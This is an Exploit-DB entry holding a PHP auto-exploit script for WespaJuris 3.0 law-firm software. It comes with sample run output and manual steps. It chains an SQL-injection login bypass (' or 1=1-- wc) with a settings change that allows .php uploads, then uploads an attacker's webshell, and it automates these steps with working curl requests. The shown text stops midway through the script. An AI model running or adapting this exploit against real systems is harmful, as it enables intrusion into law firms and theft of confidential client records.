Exploit-DB #20342
Description: WespaJuris 3.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-08
Author: WhiteCollarGroup

Exploit:
<?php
/*
# Exploit Title: WespaJuris <= 3.0 auto exploit
# Date: 07th august 2012
# Exploit Author: WhiteCollarGroup
# Vendor Homepage: http://www.wespadigital.com.br/
# Software Link: http://www.wespadigital.com.br/download/wespajuris_v3_0_2012.rar 
# Version: 3.0
# Tested on: Apache Server

WespaJuris is a software for law firms.

Use this exploit to upload a webshell on vulnerable applications.
Usage:
	php exploit.php

Example
	$ php exploit.php
	WespaJuris <= 3.0 exploit
	Coded by WhiteCollarGroup
	Type Ctrl + C for exit
	Try "php exploit.php /about" for get info

	[?]  Target address (login form):
	http://localhost/juris/
	[?]  Webshell path (in your computer):
	C:\wamp\www\webshell.php
	[*]  Login...
	[*]  Trying to add php on allowed file formats.
	[*]  Adding a new client.
	[*]  Getting new client ID
	[!]  Client ID: 30
	[*]  Adding a new process.
	[*]  Getting new process ID.
	[!]  New process ID: 37
	[*]  Adding new task.
	[*]  Getting new task ID
	[*]  New task ID: 16
	[*]  Adding new doc type.
	[*]  Trying to get new doc type ID.
	[!]  New doc type ID: 7
	[*]  Trying to upload file...
	[*]  Thinking about file address...
	[!]  Exploit complete.
	[i]  You have now a webshell in <http://localhost/juris/clientdir/30/dl/webshell.php>

Then, go to http://localhost/juris/clientdir/30/dl/webshell.php and see your webshell.

:: How this exploit works? Manually work.

~> Login bypass
	On login form, enter "SQLi strings":
	Login: ' or 1=1-- wc
	Pass: wcgroup

~> Configure file formats
	Go to "CONFIGURAÇÕES".
	In "Extensões de documentos", add "php".

BEGIN Do it only if the system is blank

~> Add new client
	Go to "CLIENTES E USUÁRIOS" > "adicionar".
	Add your own user.

~> Add new process
	Go to "PROCESSOS" > "adicionar".
	Add your own process.

~> Add new task
	Go to "PROCESSOS".
	Click on the process that you've created.
	In "Tarefas", click "Adicionar".

~> Add new document type
	Go to "DOCUMENTOS".
	Click "ADICIONAR/EDITAR TIPO DOCUMENTO".
	In "Adicionar Tipo de Documento" form, type anything and then, click "Adicionar".

END Do it only if the system is blank

~> Get arbitrary file upload
	Go to "DOCUMENTOS".
	Click "ADICIONAR DOCUMENTO".
	In "Título", select a client and a process. Click "PROSSEGUIR".
	Select a task in "TAREFAS", a document type in "Escolha um Tipo".
	In "Título do documento", type anything.
	Upload file in "Subir arquivo do Documento". Leaves "Link para Documento na Internet" empty.
	Click "Adicionar Novo Documento".
	Click "DOCUMENTOS" and click on the your webshell.

*/
set_time_limit(0);
echo "WespaJuris <= 3.0 auto exploit\n";
echo "Coded by WhiteCollarGroup\n";
echo "Type Ctrl + C for exit\n";

if((isset($argv[1])) AND ($argv[1]=="/about")) {
	echo "WhiteCollarGroup\nwww.wcgroup.host56.com\nwhitecollar_group@hotmail.com\nTwitter/Facebook/Blogspot: WCollarGroup\nirc.virtualife.com.br #wcgroup\n\n";
	exit;
} else {
	echo "Try \"php $argv[0] /about\" for get info\n";
}
echo "\n";
if(!function_exists("curl_init")) {
	echo "PHP CURL was not found on this system.\n";
	echo "Linux (Debian-like apt system): Type the following command on shell:\n";
	echo "# apt-get install php5-curl\n\n";
	echo "Unix: Edit your file php.ini and remove \";\" from following line:\n";
	echo ";extension=curl.so\n\n";
	echo "Windows: Edit your file php.ini and remove \";\" from following line:\n";
	echo ";extension=php_curl.dll\n\n";
	echo "Read more: http://www.php.net/manual/book.curl.php\n\n";
	exit;
}

puts("Target address (login form):", "[?]");
$target = trim(fgets(STDIN));

$target = preg_replace("/index\.php$/", null, $target);
$target = preg_replace("/\/$/", null, $target);

puts("Webshell path (in your computer):", "[?]");

do {
	$webshell = trim(fgets(STDIN));
	if(!file_exists($webshell)) echo "File not found!";
} while(!file_exists($webshell));

$ch = curl_init();


// login
puts("Login...");
curl_setopt($ch, CURLOPT_URL, $target."/process_login.php");
curl_setopt($ch, CURLOPT_REFERER, $target);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "do=login&username=".urlencode("' or 1=1-- wc")."&[CREDENTIAL_REDACTED]");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); 
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"); 
curl_setopt($ch, CURLOPT_TIMEOUT, 60); 
curl_setopt($ch, CURLOPT_COOKIEJAR, "wcgroup.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$store = curl_exec($ch);
if(preg_match("/Dados de acesso incorretos, por favor tente novamente/", $store)) {
	puts("Could not login.", "[-]");
	echo "Make sure that the server uses a vulnerable version of WespaJuris.\n";
	exit;
}

// config file format
$ext = end(explode(".", $webshell));
puts("Trying to add $ext on allowed file formats.");
curl_setopt($ch, CURLOPT_URL, $target."/admin/main.php?pg=settings");
curl_setopt($ch, CURLOPT_POSTFIELDS, "task=defsideset&new_serverdiff=0&new_dateformat=".urlencode("%Y/%c/%e")."&new_extensions=".urlencode("$ext,php,jpg,jpeg,gif,png,psd,zip,ai,pdf,doc"));
curl_exec($ch);

// add client
puts("Adding a new client.");
curl_setopt($ch, CURLOPT_URL, $target."/admin/main.php?pg=addclient");
curl_setopt($ch, CURLOPT_POSTFIELDS, "task=addclient&company=WhiteCollarGroup&address1=www.wcgroup.host56.com&address2=whitecollar_group%40hotmail.com&city=%40WCollarGroup&state=facebook.com%2FWCollarGroup&zip=wcollargroup.blogspot.com&country=irc.virtualife.com.br+%23wcgroup&phone=WCGroup&phone_alt=This+was+a+auto+exploit&fax=We+did+not+hack+your+website");
curl_exec($ch);

// get user ID
puts("Getting new client ID");
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_URL, $target."/admin/main.php?pg=addfiles");
$store = curl_exec($ch);
$numbers =  array();
preg_match_all("/<option value=\"main\.php\?pg=addfiles&clid=(.*)\">WhiteCollarG